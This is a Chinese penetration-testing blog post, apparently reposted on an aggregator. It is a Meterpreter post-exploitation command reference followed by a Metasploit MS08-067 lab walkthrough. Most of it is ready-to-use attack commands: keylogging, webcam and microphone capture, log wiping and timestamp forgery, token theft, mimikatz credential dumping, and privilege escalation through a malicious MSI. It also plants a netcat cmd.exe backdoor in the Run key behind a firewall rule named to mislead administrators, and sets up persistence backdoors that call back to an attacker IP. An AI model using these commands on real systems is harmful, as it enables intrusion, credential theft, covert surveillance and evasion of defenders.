kali-漏洞利用(3.3)后渗透之Meterpreter(上):命令大全

Posted 黑色地带(崛起)

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了kali-漏洞利用(3.3)后渗透之Meterpreter(上):命令大全相关的知识,希望对你有一定的参考价值。

目录

一、简介

1.1、概述:

1.2、Meterpreter

1.3、优点:

1.4、常用命令:

二、使用

2.1、进程迁移:

2.2、系统命令:

基础命令:

cmd命令

webcam摄像头命令

uictl开关键盘/鼠标

execute执行文件

clearev清除日志

2.3、文件系统命令

基本文件系统命令

timestomp伪造时间戳

2.4、网络命令

基本网络命令

portfwd端口转发

autoroute添加路由

2.5、信息收集

键盘记录

sniffer抓包

窃取令牌

网络摄像头

截屏

2.6、提权

getsystem提权

利用AlwaysInstallElevated提权

2.7、窃取hash及密码

mimikatz

kiwi

2.8、注册表操作

基本命令

利用注册表添加nc后门

2.9、后门植入

Persistence(通过启动项安装)

Metsvc(通过服务安装)


一、简介

1.1、概述:

获取目标机的Meterpreter Shell后,就进入了Metasploit的后期渗透利用阶段,后期渗透模块有200多个


使用 metasploit 渗透完成后,需要进行后渗透拿下目标主机,再进行一系列获取敏感信息、利用这台机器为跳板机做其他主机的攻击等,主要使用的是 metasploit 中的 post 模块,也就是后渗透模块

1.2、Meterpreter

Metasploit提供一个强大的后渗透工具——Meterpreter

是 Metasploit 框架中的一个扩展模块,作为后渗透阶段的攻击载荷使用,在后渗透阶段具有强大的攻击力,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个 meterpreter shell链接


Meterpreter shell 作为渗透模块有很多有用的功能,包含信息收集、 提 权 、注册表操作、令牌操纵、哈希利用、后门植入。

1.3、优点:

总:易于隐藏


不需要对磁盘进行任何写入操作,因此 HIDS(基于主机的入侵检测系统)很难对它做出响应

使用加密通信协议,而且可以同时与几个信道通信

在被攻击进程内工作,不需要创建新的进程

易于在多进程之间迁移

平台通用

简化任务创建多个会话,利用会话进行渗透

运行的时候系统时间是变化的,跟踪它、终止它非常困难

1.4、常用命令:

help: 查看帮助信息

background:在后台Meterpreter会话

download: 从入侵主机上下载文件
upload: 上传文件到入侵主机
execute: 在入侵主机上执行命令
shell: 在入侵主机上(仅Windows)运行Windows shell命令
session -i: 切换会话



二、使用

2.1、进程迁移:

刚获得Meterpreter Shell,Shell是极其脆弱的,要把Shell和目标机中稳定的进程绑定在一起

eg:利用浏览器漏洞攻陷目标机器,浏览器在一段时间后可能被用户关闭

ps   #查看当前活跃进程
getpid    #获取当前进程pid
migrate <pid值>    #将Meterpreter会话移植到指定pid值进程中
kill <pid值>   #杀死进程

2.2、系统命令:

基础命令:

shell         #进入目标机cmd shell
background    #将当前会话放置后台
sessions      #sessions -h 查看帮助
sessions -i <ID值>  #进入会话   -k  杀死会话
bgrun / run   #执行已有的模块,输入run后按两下tab,列出已有的脚本
info      #查看已有模块信息
getuid    #查看当前用户身份
getprivs  #查看当前用户具备的权限
getpid    #获取当前进程ID(PID)
sysinfo   #查看目标机系统信息
irb   #开启ruby终端
ps    #查看正在运行的进程    
kill <PID值> #杀死指定PID进程
idletime     #查看目标机闲置时间
reboot / shutdown    #重启/关机


cmd命令

whoami     #当前权限
quser      #当前在线的管理员
net user   #存在用户
net user 用户名 密码 /add            #添加用户和对应密码
net localgroup 用户组名 用户名 /add  #将指定用户添加到指定用户组
netstat -ano  #查询当前计算机中网络连接通信情况,LISTENING表示该端口处于监听状态;ESTABLISHED表示该端口处于工作(通信)状态
systeminfo     #查看当前计算机中的详细情况
tasklist /svc  #查看每个进程所对应的服务
taskkill /f /im 程序名称    #结束某个指定名称的程序
taskkill /f /PID ID        #结束某个指定PID的进程
tasklist | findstr "字符串" #查找输出结果中指定的内容
netsh adcfirewall set allprofiles state off  #关闭防火墙
logoff        #注销某个指定用户的ID
shutdown -r   #重启当前计算机

​​​​​​​webcam摄像头命令

webcam_list     #查看摄像头
webcam_snap     #通过摄像头拍照
webcam_stream   #通过摄像头开启视频

uictl开关键盘/鼠标

uictl [enable/disable] [keyboard/mouse/all]  #开启或禁止键盘/鼠标
uictl disable mouse     #禁用鼠标
uictl disable keyboard  #禁用键盘

execute执行文件

execute   #在目标机中执行文件
execute -H -i -f  cmd.exe   #创建新进程cmd.exe,-H不可见,-i交互
execute -H -m -d notepad.exe -f payload.exe -a "-o hack.txt"
  #-d 在目标主机执行时显示的进程名称(用以伪装)-m 直接从内存中执行
  #"-o hack.txt"是payload.exe的运行参数

clearev清除日志

clearev    #清除windows中的应用程序日志、系统日志、安全日志

2.3、文件系统命令

基本文件系统命令

ls   #列出当前目录中的文件列表
cd   #进入指定目录
getwd / pwd              #查看当前工作目录  
search -d c:\\\\ -f *.txt  #搜索文件  -d 目录 -f 文件名
cat c:\\\\123.txt          #查看文件内容
upload /tmp/hack.txt C:\\\\   #上传文件到目标机上
download c:\\\\123.txt /tmp/  #下载文件到本机上
edit c:\\\\test.txt  #编辑或创建文件  没有的话,会新建文件
rm C:\\\\hack.txt    #删除文件
mkdir admin    #只能在当前目录下创建文件夹
rmdir admin    #只能删除当前目录下文件夹
getlwd / lpwd  #查看本地当前目录
lcd /tmp       #切换本地目录

timestomp伪造时间戳

timestomp C:\\\\ -h        #查看帮助
timestomp -v C:\\\\2.txt   #查看时间戳
timestomp C:\\\\2.txt -f C:\\\\1.txt   #将1.txt的时间戳复制给2.txt
timestomp  c:\\\\test\\\\22.txt -z "03/10/2019 11:55:55" -v    #把四个属性设置为统一时间

2.4、网络命令

基本网络命令

ipconfig/ifconfig    #看网络接口信息
netstat –ano         #查看网络连接状态
arp         #查看arp缓冲表
getproxy    #查看代理信息
route       #查看路由表信息

portfwd端口转发

portfwd add -l 1111 -p 3389 -r 127.0.0.1  #将目标机的3389端口转发到本地1111端口
rdesktop 127.0.0.1:1111                   #需要输入用户名密码连接
rdesktop -u Administrator -p 123 127.0.0.1:1111   #-u 用户名 -p 密码

autoroute添加路由

run autoroute -h        #查看帮助
run get_local_subnets   #查看目标内网网段地址
run autoroute -s 192.168.183.0/24    #添加目标网段路由
run autoroute -p        #查看添加的路由

2.5、信息收集

键盘记录

keyscan_start  #开始键盘记录
keyscan_dump   #导出记录数据
keyscan_stop   #结束键盘记录

sniffer抓包

use sniffer
sniffer_interfaces  #查看网卡
sniffer_start 1     #选择网卡1开始抓包
sniffer_stats 1     #查看网卡1状态
sniffer_dump 1 /tmp/wlan1.pcap  #导出pcap数据包
sniffer_stop 1     #停止网卡1抓包
sniffer_release 1  #释放网卡1流量

窃取令牌

steal_token <pid值>   #从指定进程中窃取token  
drop_token            #停止假冒当前的token

网络摄像头

record_mic    #音频录制
webcam_chat    #开启视频聊天(对方有弹窗)
webcam_list    #查看摄像头
webcam_snap    #通过摄像头拍照
webcam_stream  #通过摄像头开启视频监控(以网页形式进行监控≈直播)

截屏

screenshot  #截屏
use espia   #使用espia模块
screengrab  #截屏

2.6、提权

getsystem提权

getuid      #查看已获得权限
getsystem   #提权

利用AlwaysInstallElevated提权

AlwaysInstallElevated是一个策略设置

微软允许非授权用户以SYSTEM权限运行安装文件(MSI)

前提:用户启用此策略,就可利用恶意的MSI文件进行管理员权限的提升

查看AlwaysInstallElevated是否被定义
前提条件,需要有两个注册表的键值为1,在cmdshell下查看是否被定义
reg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated
reg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated

如果在组策略里未定义,则会出现“错误: 系统找不到指定的注册表项或值”的提示

开启的方法:
1、打开组策略编辑器(运行框输入gpedit.msc)
2、组策略---计算机配置---管理模版---Windows组件---Windows Installer---永远以高特权进行安装:选择启用
3、组策略---用户配置---管理模版---Windows组件---Windows Installer---永远以高特权进行安装:选择启用

(设置完成后对应注册表值会设为1,即开启AlwaysInstallElevated)

生成MSI安装文件
(msf生成的msi文件,会被杀毒软件拦截,做好免杀)

利用msfvenom命令生成一个在目标机上增加管理员用户的MSI安装文件,密码设置为强密码,否则会报错
msfvenom -p windows/adduser USER=msi PASS=Abc123@@ -f msi -o msi.msi
上传并执行MSI文件

upload msi.msi c:\\\\Users\\\\test # 部分目录由于权限原因可能上传失败
msiexec /quiet /qn /i msi.msi  # /quiet=安装过程中禁止向用户发送消息 /qn=不使用图形界面 /i=安装程序
net localgroup administrators

net localgroup administrators
(执行成功后查看管理员组发现用户已经添加成功)

2.7、窃取hash及密码

mimikatz

load mimikatz    #加载mimikatz模块
msv       #获取用户和hash值 
kerberos  #获取内存中的明文密码信息
wdigest   #获取内存中的明文密码信息
mimikatz_command -f a::    #需要以错误的模块来让正确的模块显示
mimikatz_command -f sekurlsa::searchPasswords  #获取用户密码
mimikatz_command -f samdump::hashes            #执行用户hash

kiwi

kiwi是利用的mimikatz扩展,运行需要SYSTEM权限

load kiwi
creds_all

2.8、注册表操作

基本命令

reg –h    #查看帮助
-k 注册表的路径 -v 键的名称 -d 键值 
reg enumkey [-k <key>]    #枚举注册表的内容
reg createkey [-k <key>]  #创建注册表项
reg deletekey [-k <key>]  #删除注册表项
reg setval [-k <key> -v <val> -d <data>]  #在注册表里添加内容
reg deleteval [-k <key> -v <val>]         #删除注册表的值
reg queryval [-k <key> -v <val>]          #查询注册表的值


利用注册表添加nc后门

后门程序:编辑注册表,添加nc到系统启动项中

upload /usr/share/windows-binaries/nc.exe C:\\\\windows\\\\system32 
    #上传nc到目标主机
reg enumkey -k HKLM\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\run   
    #枚举注册表run下的键值
reg setval -k HKLM\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\run -v test_nc -d 'C:\\windows\\system32\\nc.exe -Ldp 443 -e cmd.exe' 
    #设置键值 -v 键的名称 -d 键值
reg queryval -k HKLM\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\Run -v test_nc   
    #查询test_nc的键值

设置防火墙允许通过443端口

注:目标主机开启防火墙,但未设置相应的规则可能会导致连接失败

shell
netsh firewall show opmode 
    #查看防火墙状态
netsh firewall add portopening TCP 443 "网络发现(Pub PSD-Out)" ENABLE ALL 
    #添加防火墙的规则允许443端口通过(这里“网络发现(Pub PSD-Out)”是规则名称,目的是为了迷惑管理员。) 
待目标主机重启后,自启nc程序,利用nc连接
nc ip port

2.9、后门植入

通过漏洞获取到目标主机权限之后,如果目标主机主机重启或修补了漏洞,就会失去对服务器的控制权

需要通过植入后门来维持权限,nc后门、Persistence、Metsvc

Persistence(通过启动项安装)

run persistence –h  #查看帮助
run persistence -X -i 5 -p 4444 -r 192.168.183.147 
run persistence -U -i 5 -p 4444 -r 192.168.183.147 -L c:\\\\Windows\\\\System32

-X:设置后门在系统启动后自启动。该方式会在HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run下添加注册表信息。由于权限原因会导致添加失败,后门无法启动。因此在非管理员权限下,不推荐使用该参数
-U:设置后门在用户登录后自启动。该方式会在HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run下添加注册表信息
-L:后门传到远程主机的位置默认为%TEMP%
-i:设置反向连接间隔时间为5秒
-p:设置反向连接的端口号
-r:设置反向连接的ip地址

Metsvc(通过服务安装)

run metsvc -h   #查看帮助
run metsvc -A   #自动安装后门
run metsvc -r   #删除后门

连接后门
use exploit/multi/handler 
set payload windows/metsvc_bind_tcp
set rhost 192.168.183.169
set lport 31337
run

(注:命令来自网络)

Kali之MSF的MS08-067漏洞复现详解

1、MSF初识:

MSF即Metasploit Framework,是一个综合性的渗透测试工具,集成信息收集、漏洞扫描、漏洞利用以及提权等功能的工具。
目前安装的kali都自带MSF,可以直接在图形界面打开
也可以在kali的终端通过使用命令msfconsole来打开。

2、MSF的目录结构和基本命令

1)msf的安装目录:

┌──(kali㉿kali)-[~]
└─$ ls /usr/share/metasploit-framework/

或者2022版kali以后(在这之前的版本不知道可不可行)的直接桌面按如下步骤找到msf安装目录。

2)msf主要目录:

2.1、modules目录,子目录是一些用于渗透攻击的模块。

①auxiliary模块:主要包含渗透测试过程中所需的一些辅助性脚本,这些脚本有扫描、嗅探、破解、指纹识别、注入、Dos攻击等功能。
②encoders模块:编码工具,用于躲过入侵检测和过滤系统。
③exploit模块:即渗透攻击模块,利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法,攻击方法包括主动攻击(active exploit)和被动攻击(passive exploit),
④nops模块:参考了两位大佬的解释,过程略有偏差,但最终意义相同,看你怎么理解:
&由于IDS/IPS会检查数据包中不规则的数据,所以在某些场合下(比如针对溢出攻击),某些特殊的滑行字符串(NOPS x90x90…)会因为被拦截而导致攻击失效,这时需要修改exploit中的NOPs.nops文件夹下的东西,会在payload生成时用到。如打开php的NOPS生成脚本,就会发现它返回了指定长度的空格。
&提高payload稳定性及维持大小。在渗透攻击构造恶意数据缓冲区时,常常要在真正要执行的Shellcode之前添加一段空指令区, 这样当触发渗透攻击后跳转执行ShellCode时,有一个较大的安全着陆区,从而避免受到内存 地址随机化、返回地址计算偏差等原因造成的ShellCode执行失败,提高渗透攻击的可靠性。
⑤payloads模块:攻击载荷,是攻击者发送给系统执行的指令的。payload主要是在目标机执行的,exploits是在本地执行作用于目标机。分为3种类型的payloads,分别是single、stages和stagers。

single:all-in-one。完整的payload,这些payload都是一体化的,不需要依赖外部的库和包。
stagers:目标计算机内存有限时,先传输一个较小的payload用于建立连接
stages:利用stagers建立的连接下载后续payload 

⑥post模块:该模块exploits执行成功后,向目标机发送一些功能性指令,进行一系列的后渗透攻击动作,如获取敏感信息、跳板攻击、提权、获取hash等。

2.2、data目录

存放 meterpreter、passivex、vnc等工具和一些用户接口代码,wordlists等一些其他模块用到的数据文件

2.3、plugins和scripts目录

plugins是一个插件目录,需要用load加载,它提供数据库连接插件的功能和各种渗透攻击的插件。
scripts目录里面存放都是meterpreter利用的脚本。

3)MSF基本命令

①启动与关闭:
启动:msfconsole 正常启动
msfconsole -q 不显示msf的logo
关闭:exit
②问号(?)命令:查看所有的命令或某一命令的使用方法

命令功能
back从当前环境返回
banner显示一个MSF banner
color颜色转换
connect连接一个主机
info显示一个或多个模块的信息
irb进入irb脚本模式
jobs显示和管理作业
kill杀死一个进程
load加载一个插件
loadpath在一个路径搜索并加载模块
quit退出MSF
resource运行存储在一个文件中的命令
route查看一个会话的路由信息
search搜索模块名和描述
set给一个变量赋值
setg把一个值赋给全局变量
show显示所给类型的模块,或所有模块
sleepsleep函数,睡眠时间
unload卸载一个模块
unset解除一个或多个变量
unsetg解除一个或多个全局变量
use通过名称选择一个模块
version显示MSF和控制台库版本号

3、MSF之MS08-067漏洞攻防还原

1、ms08-067漏洞介绍

MS08-067漏洞是2008年的一个特大漏洞,该漏洞目前早已修补。ms08_067漏洞是的著名远程溢出漏洞,它的影响范围非常大,甚至一些vista的系统都会有这个远程溢出的漏洞,主要针对的是windows server 2003、windows xp。
这里需要xp系统的推荐这篇文章:
Windows xp下载

2、攻击过程/步骤

环境准备
靶机:Windows xp sp2 ,IP地址:192.168.231.34
攻击机:kali 2022.1 ,IP地址:192.168.231.124
步骤:
先确认攻击机和靶机之间是可以ping通的。
先是xp系统,也就是靶机ping攻击机,ping成功。
拿kali去ping靶机xp系统也能ping得通。
既然两台机器之间能互相ping通,现在可以开始对漏洞信息得搜集和攻击了。

使用netstat -an查看xp系统都开放了哪些端口,是否开启了445端口。可以看到445端口已开启。

现在利用kali的nmap工具对xp系统进行信息搜集看是否存在ms08-067漏洞。
使用命令:
cd /usr/share/nmap/scripts/
先进入nmap得漏洞插件目录,ls 查看存在ms08-067模块。
现在使用命令:nmap --script=vuln 192.168.231.34对靶机进行漏洞扫描:主机存活,且445端口开放。
开启msf,用search命令查看可利用模块。
①使用命令use exploit/windows/smb/ms08_067_netapi进入模块里。
②命令没写完就敲回车了,一个小错误。
③show options命令查看相关的使用说明。
设置好RHOST和LHOST后,在show options一次,可以看到已经设置好,待触发攻击。
用exploit命令开始对靶机发起攻击。如下:已成功渗透攻击靶机到后台。
现在可以通过命令行对靶机进行创建文件夹、查看目录或者新建文件等,甚至对靶机有危害的操作或行为。。。。。。
至此,MS08-067漏洞的复现结束。感兴趣的可以自己想着怎么做到攻击成果最大化。

以上是关于kali-漏洞利用(3.3)后渗透之Meterpreter(上):命令大全的主要内容,如果未能解决你的问题,请参考以下文章

Kali渗透Windows服务器

Kali之MSF的MS08-067漏洞复现详解

Kali使用Metasploit内外网渗透windows系统

渗透测试实战-bulldog

渗透测试技巧之一个XSS引发的漏洞利用与思考

测试网站搭建+渗透+审计之第二篇渗透测试